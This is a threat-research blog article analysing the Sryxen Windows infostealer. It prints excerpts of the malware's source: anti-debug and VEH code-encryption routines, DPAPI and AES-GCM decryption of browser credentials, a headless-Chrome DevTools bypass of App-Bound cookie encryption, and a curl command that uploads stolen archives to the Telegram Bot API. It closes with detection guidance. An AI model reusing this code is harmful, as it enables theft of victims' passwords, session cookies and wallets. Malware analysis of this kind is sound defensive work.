Back to all articles

Windows Stealers: How Modern Infostealers Harvest Credentials

December 2, 20257 min readRad KawarThreat Research

Windows stealers have a fundamentally different challenge than their macOS counterparts. Instead of phishing a password to unlock the Keychain, they need to navigate Windows Data Protection API (DPAPI) - Microsoft's credential protection system that ties encryption keys to user context. Run as the victim user? DPAPI decrypts automatically. Run as anyone else? The data is useless.

Sryxen, sold as MaaS, demonstrates the modern Windows stealer approach. Written in C++, it combines DPAPI decryption for traditional browser credentials with a Chrome 127+ bypass that sidesteps Google's new App-Bound Encryption - by simply launching Chrome headlessly and asking it to decrypt its own cookies via DevTools Protocol. The anti-analysis is "more sophisticated" than most commodity stealers: VEH-based code encryption means the main payload is garbage at rest, only decrypted during execution via exception handling. Six anti-debug checks. Disassembler confusion macros.

Key Characteristics:

AttributeValue
Target OSWindows
LanguageC++
Architecturex64
C2 ProtocolTelegram Bot API
EncryptionNone (direct upload)
PersistenceNone (smash-and-grab)
Anti-AnalysisVEH segment encryption, anti-debug, anti-disassembly

Attack Flow

Diagram


Anti-Analysis Deep Dive

VEH-Based Segment Encryption

The most interesting anti-analysis technique is how Sryxen protects its main payload. MainBlock() - the function containing all data theft logic - is XOR-encrypted at rest and overwritten with illegal instructions. Only when called does the VEH handler decrypt it:

1// Segment_Encryption.h - The XOR key is static and embedded
2unsigned char xor_key[] = {
3 'Y', 'w', 'A', 'Y', 'w', 'A', 'o', 'n', 'v', 's', 'g', 'H', 'U', 'b', 'n', 'o',
4 'Y', 'w', 'A', 'o', 'n', 'v', 's', 'g', 'H', 'U', 'b', 'n', 'n', 'v', 's', 'g',
5 'H', 'U', 'b', 'n'
6};
7

Diagram

The encryption/decryption cycle:

1// EncryptCodeSection - Called once at startup
2void EncryptCodeSection(LPVOID address, char* originalInstructions, int SIZE_OF_FUNCTION) {
3 // Save original bytes
4 VxMoveMemory(originalInstructions, address, SIZE_OF_FUNCTION);
5
6 // XOR encrypt the saved copy
7 xor_encrypt((unsigned char*)originalInstructions, SIZE_OF_FUNCTION, xor_key, xor_key_size);
8
9 // Replace function body with illegal instructions
10 VirtualProtect(address, SIZE_OF_FUNCTION, PAGE_EXECUTE_READWRITE, &oldProtect);
11 for (int i = 0; i < SIZE_OF_FUNCTION; i++) {
12 *((char*)((uintptr_t)address + i)) = 0x1F; // Triggers EXCEPTION_ILLEGAL_INSTRUCTION
13 }
14 VirtualProtect(address, SIZE_OF_FUNCTION, oldProtect, &oldProtect);
15}
16
17// VEH handler - decrypts on illegal instruction, re-encrypts on breakpoint
18LONG WINAPI VEHDecryptionHandler(PEXCEPTION_POINTERS exceptions) {
19 if (exceptions->ExceptionRecord->ExceptionCode == EXCEPTION_ILLEGAL_INSTRUCTION) {
20 // Find matching function and decrypt
21 xor_decrypt((unsigned char*)EncryptedFunctions[i].originalInstructions, ...);
22 VxMoveMemory((LPVOID)EncryptedFunctions[i].FunctionAddress, ...);
23 // Set breakpoint at return to re-encrypt after execution
24 SetBreakpoint((LPVOID)EncryptedFunctions[i].ReturnAddress);
25 return EXCEPTION_CONTINUE_EXECUTION;
26 }
27 else if (exceptions->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
28 // Function finished - re-encrypt it
29 EncryptCodeSection((LPVOID)EncryptedFunctions[i].FunctionAddress, ...);
30 return EXCEPTION_CONTINUE_EXECUTION;
31 }
32 return EXCEPTION_CONTINUE_SEARCH;
33}
34

Why This Matters:

  • Static analysis sees garbage - the function is encrypted
  • Memory dumps between calls show only encrypted bytes
  • The function is only readable during active execution
  • Re-encryption after return means even live debugging shows encrypted code most of the time

Weaknesses:

  • XOR key is static and embedded in binary
  • Pattern is recognizable (0x1F byte sequences)
  • Single-step debugging through VEH handler reveals everything

Anti-Debug Checks

Six checks, each calling exit(1) on detection:

1// EntryPoint_AntiDebug.hpp
2inline void RunAllAntiDebug() {
3 if (NtGlobalFlag()) exit(1); // PEB->NtGlobalFlag != 0 when debugged
4 if (IsDebuggerPresentAPI()) exit(1); // kernel32!IsDebuggerPresent
5 if (Interrupt_3()) exit(1); // INT3 exception timing
6 if (IsDebuggerPresentPEB()) exit(1); // Direct PEB->BeingDebugged check
7 if (UnhandledExcepFilterTest()) exit(1); // SetUnhandledExceptionFilter behavior
8 if (SharedUserData_KernelDebugger()) exit(1); // KUSER_SHARED_DATA check
9}
10

NtGlobalFlag Check: When a debugger creates a process, Windows sets heap debug flags in PEB->NtGlobalFlag:

  • FLG_HEAP_ENABLE_TAIL_CHECK (0x10)
  • FLG_HEAP_ENABLE_FREE_CHECK (0x20)
  • FLG_HEAP_VALIDATE_PARAMETERS (0x40)

Combined = 0x70 when debugged, 0x00 normally.

SharedUserData: Checks KUSER_SHARED_DATA->KdDebuggerEnabled at fixed address 0x7FFE02D4 - a kernel-level flag.

Anti-VM (Weak)

1// EntryPoint_AntiVM.hpp - Only checks for Sysmon
2inline void RunAllAntiVM() {
3 if (IsProcessRunning(L"sysmon.exe")) {
4 exit(1);
5 }
6}
7

This is notably weak, however understandable.


Browser Credential Theft

The DPAPI Chain

Windows browsers encrypt credentials using DPAPI. The decryption chain:

Diagram

Master Key Extraction

The master key is stored in Local State as a base64-encoded, DPAPI-protected blob:

1// Crypto.cpp - GetMasterKey
2std::string Crypto::GetMasterKey(const std::string& path) {
3 // Parse Local State JSON
4 std::ifstream file(path);
5 nlohmann::json json_data = nlohmann::json::parse(file);
6
7 // Get encrypted key: {"os_crypt": {"encrypted_key": "RFBBUEN..."}}
8 std::string encrypted_key = json_data["os_crypt"]["encrypted_key"].get<std::string>();
9
10 // Base64 decode
11 encrypted_key = base64_decode(encrypted_key);
12
13 // Strip "DPAPI" prefix (first 5 bytes)
14 encrypted_key = encrypted_key.substr(5);
15
16 // DPAPI decrypt - requires user context
17 std::vector<unsigned char> encrypted_key_vec(encrypted_key.begin(), encrypted_key.end());
18 return CryptoUnprotectData(encrypted_key_vec);
19}
20

Why DPAPI Works: CryptUnprotectData() only succeeds when called by the same user who encrypted the data. Sryxen runs as the victim user, so DPAPI happily decrypts the master key. An attacker who steals the Local State file but runs as a different user gets nothing.

Password Decryption

Chromium passwords are encrypted with AES-256-GCM. The ciphertext format:

1[3-byte version][12-byte nonce][ciphertext][16-byte auth tag]
2 "v10"/"v11"
3
1// Crypto.cpp - AES256GCMDecrypt
2std::string Crypto::AES256GCMDecrypt(const std::string& key,
3 const std::vector<unsigned char>& ciphertext) {
4 // Check for v10/v11 prefix: bytes 118='v', 49='1', 48='0' or 49='1'
5 if (ciphertext[0] == 118 && ciphertext[1] == 49 &&
6 (ciphertext[2] == 48 || ciphertext[2] == 49)) {
7
8 // Extract nonce (12 bytes starting at offset 3)
9 unsigned char nonce[12];
10 VxMoveMemory(nonce, ciphertext.data() + 3, 12);
11
12 // Ciphertext after prefix + nonce
13 const unsigned char* ciphertext_ = ciphertext.data() + 3 + 12;
14 unsigned long long ciphertext_size = ciphertext.size() - 3 - 12;
15
16 // Decrypt using libsodium
17 crypto_aead_aes256gcm_decrypt(
18 decrypted.data(), &decrypted_len,
19 nullptr,
20 ciphertext_, ciphertext_size,
21 nullptr, 0, // No AAD
22 nonce,
23 reinterpret_cast<const unsigned char*>(key.data())
24 );
25
26 return std::string(decrypted.begin(), decrypted.begin() + decrypted_len);
27 }
28
29 // Fallback for legacy format (no v10/v11 prefix) - direct DPAPI
30 return CryptoUnprotectData(ciphertext);
31}
32

Chrome 127+ App-Bound Encryption Bypass

Diagram

Chrome 127 introduced App-Bound Encryption (ABE), tying cookie encryption to the Chrome application itself. Traditional DPAPI decryption no longer works for cookies.

Sryxen's solution: don't decrypt at all. Launch Chrome headlessly with remote debugging and ask Chrome to decrypt its own cookies.

1// Cookies.cpp - Version check triggers bypass
2int versionNumber = std::stoi(firstPart); // Parse major version
3
4if (versionNumber >= 127) {
5 // New Encryption - use debugging method
6 BrowserCookieExtractor obj;
7 obj.GetCookie(Chromium.browserPath, Chromium.browserRoot, Chromium.browserName);
8 continue; // Skip traditional SQLite extraction
9}
10

The bypass launches Chrome with specific flags:

1// core.cpp - Launch Chrome with remote debugging
2std::wstring cmdLine = L"\"" + browserPath + L"\" --headless " +
3 L"--user-data-dir=\"" + userData + L"\" " +
4 L"--remote-debugging-port=" + std::to_wstring(port) + L" " +
5 L"--remote-allow-origins=* " +
6 L"--disable-extensions --no-sandbox --disable-gpu";
7
8CreateProcessW(browserPath.c_str(), cmdLineVec.data(), NULL, NULL, FALSE,
9 CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
10

Then connects via WebSocket to request decrypted cookies:

1// core.cpp - DevTools Protocol communication
2// 1. Get WebSocket URL
3HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/json", ...);
4// Response: {"webSocketDebuggerUrl": "ws://127.0.0.1:PORT/devtools/page/..."}
5
6// 2. Connect and request cookies
7WebSocketClient ws(host, wsPort);
8ws.Connect();
9ws.Send(R"({"id":1,"method":"Network.getAllCookies"})");
10std::string wsResponse = ws.Receive();
11
12// 3. Parse - cookies are already decrypted by Chrome
13nlohmann::json cookieData = nlohmann::json::parse(wsResponse);
14for (auto& cookie : cookieData["result"]["cookies"]) {
15 std::string value = cookie["value"]; // Decrypted!
16}
17

Why This Works: Chrome decrypts its own cookies when accessed via DevTools Protocol. The stealer doesn't need the ABE key - Chrome handles decryption internally. The cookies never touch disk in decrypted form.

Firefox/Gecko NSS Decryption

Firefox uses Mozilla NSS library, not DPAPI:

1// nss3.hpp - Firefox credential decryption
2namespace NSS {
3 bool Initialize(const std::string& profilePath); // Load nss3.dll
4 std::string PK11SDR_Decrypt(const std::string& dbPath, const std::string& encryptedData);
5}
6

Credentials are in logins.json, encrypted with a key from key4.db. The NSS PK11SDR_Decrypt function handles decryption when properly initialized with the profile path.

Browser Discovery

Sryxen uses multi-threaded BFS to find all installed browsers:

1// Paths.hpp - Browser detection
2static bool IsChromiumBrowser(const fs::path& dir) {
3 return fs::exists(dir / "User Data" / "Local State") ||
4 (fs::exists(dir / "Local State") && fs::exists(dir / "PartnerRules"));
5}
6
7static bool IsGeckoBrowser(const fs::path& dir) {
8 if (!fs::exists(dir / "Profiles")) return false;
9 for (const auto& entry : fs::directory_iterator(dir)) {
10 if (entry.path().extension() == L".ini") return true;
11 }
12 return false;
13}
14

Stolen Browser Data:

Data TypeChromium PathFirefox PathEncryption
PasswordsLogin Datalogins.jsonAES-256-GCM / NSS
CookiesCookies or Network/Cookiescookies.sqliteAES-256-GCM (ABE 127+) / None
HistoryHistoryplaces.sqliteNone
AutofillWeb Dataformhistory.sqlitePartial
BookmarksBookmarksplaces.sqliteNone

Discord Token Theft

Discord tokens can be plaintext or encrypted with the same DPAPI + AES-256-GCM scheme:

1// Discord.cpp - Token patterns
2const std::regex token_regex(R"(dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^"]*)"); // Encrypted
3const std::regex normal_regex(R"(([\d\w_-]{24,26}\.[\d\w_-]{6}\.[\d\w_-]{25,110}))"); // Plain
4

The dQw4w9WgXcQ prefix is Discord's marker for encrypted tokens - yes, that's the YouTube video ID for "Never Gonna Give You Up" (Rickroll).

1// Decryption for encrypted tokens
2if (starts_with(encrypted_token, "dQw4w9WgXcQ")) {
3 encrypted_token = base64_decode(encrypted_token.substr(12));
4 token = Crypto::AES256GCMDecrypt(master_key, {encrypted_token.begin(), encrypted_token.end()});
5}
6

Targeted Paths:

1std::vector<std::string> predefined_paths = {
2 appdatapath + R"(\discord)",
3 appdatapath + R"(\discordcanary)",
4 appdatapath + R"(\Lightcord)",
5 appdatapath + R"(\discordptb)"
6};
7

Data Staging and Exfiltration

Staging Structure

All stolen data organized in %TEMP%\Sryxen\:

1%TEMP%\Sryxen\
2|-- discord.txt
3|-- passwords.txt
4|-- cookies.txt
5|-- history.txt
6|-- autofill.txt
7|-- bookmarks.txt
8|-- Socials\
9| |-- Element\
10| |-- Telegram\
11| |-- ...
12|-- VPN\
13| |-- ProtonVPN\
14| |-- Surfshark\
15| |-- OpenVPN\
16|-- Cryptowallets\
17 |-- Extensions\
18 | |-- MetaMask\
19 | |-- Phantom\
20 |-- Exodus\
21 |-- Electrum\
22

Compression and Upload

1// Sryxen.cpp - Exfiltration
2
3// Compress with PowerShell
4std::string command = "powershell -Command Compress-Archive -Path \"" + folderPath +
5 "\" -DestinationPath \"" + zipFileName + "\" >nul 2>&1";
6system(command.c_str());
7
8// Upload via curl to Telegram
9std::string curlCommand = "curl -F \"chat_id=" + std::string(CHAT_ID) + "\" "
10 + "-F \"document=@\\\"" + zipFileNameStr + "\\\"\" "
11 + "https://api.telegram.org/bot" + std::string(BOT_TOKEN) + "/sendDocument";
12system(curlCommand.c_str());
13

Weakness: Using system() to spawn curl and PowerShell is extremely noisy. Process creation telemetry catches this trivially.


Behavioral Detection Opportunities

Chrome 127+ Bypass

  • Chrome process spawned with --headless --remote-debugging-port
  • Non-browser parent process launching Chrome with debugging flags
  • WebSocket connections to localhost high ports from unsigned processes

Exfiltration

  • PowerShell Compress-Archive from non-interactive process
  • curl.exe POST to api.telegram.org/bot*/sendDocument
  • system() spawning curl/PowerShell in sequence

MITRE ATT&CK Mapping

IDTechniqueImplementation
T1555.003Credentials from Web BrowsersDPAPI/AES decryption, DevTools Protocol
T1539Steal Web Session CookieCookie DB theft, Chrome 127+ bypass
T1552.001Credentials In FilesWallet files, VPN configs, Discord LevelDB
T1059.001PowerShellCompress-Archive for ZIP
T1059.003Windows Command Shellsystem() for curl
T1083File and Directory DiscoveryMulti-threaded browser enumeration
T1005Data from Local SystemMass file collection
T1560.001Archive via UtilityPowerShell Compress-Archive
T1041Exfiltration Over C2Telegram Bot API
T1497.001System Checkssysmon.exe detection
T1622Debugger EvasionNtGlobalFlag, PEB, INT3, VEH
T1027.009Embedded PayloadsVEH segment encryption
T1106Native APIDPAPI via crypt32.dll

What This Means for Detection

Sryxen's architecture reveals the arms race between browser security and credential theft. Chrome's App-Bound Encryption was supposed to stop cookie theft - Sryxen sidesteps it entirely by making Chrome decrypt its own data. File-based monitoring doesn't help because decrypted cookies never touch disk.

The VEH-based segment encryption is clever for static analysis evasion, but the behavioral patterns are loud. system() spawning curl and PowerShell, Chrome launched with debugging flags from a non-browser parent, mass SQLite access across browser directories - these are somewhat detectable at the endpoint.

But the fundamental problem remains: smash-and-grab execution. No persistence. Fast exfiltration. By the time EDR alerts fire and someone has responded, the data is already in a Telegram channel! The stolen credentials still need to be used...

This is where honey tokens change the equation. Plant monitored credentials in the locations Sryxen targets - and when Sryxen exfiltrates them alongside legitimate credentials, the tokens enter the same underground markets. So when those tokens are used you have a clear high-fidelity signal leaving you saying "hey this asset had a token that pinged, it's time to investigate".

Stealers like Sryxen are the harvesting mechanism. The real threat is downstream - when stolen credentials get used. Detect there, and the sophistication of the stealer stops mattering as much - not to say it does not matter.

Want more insights like this?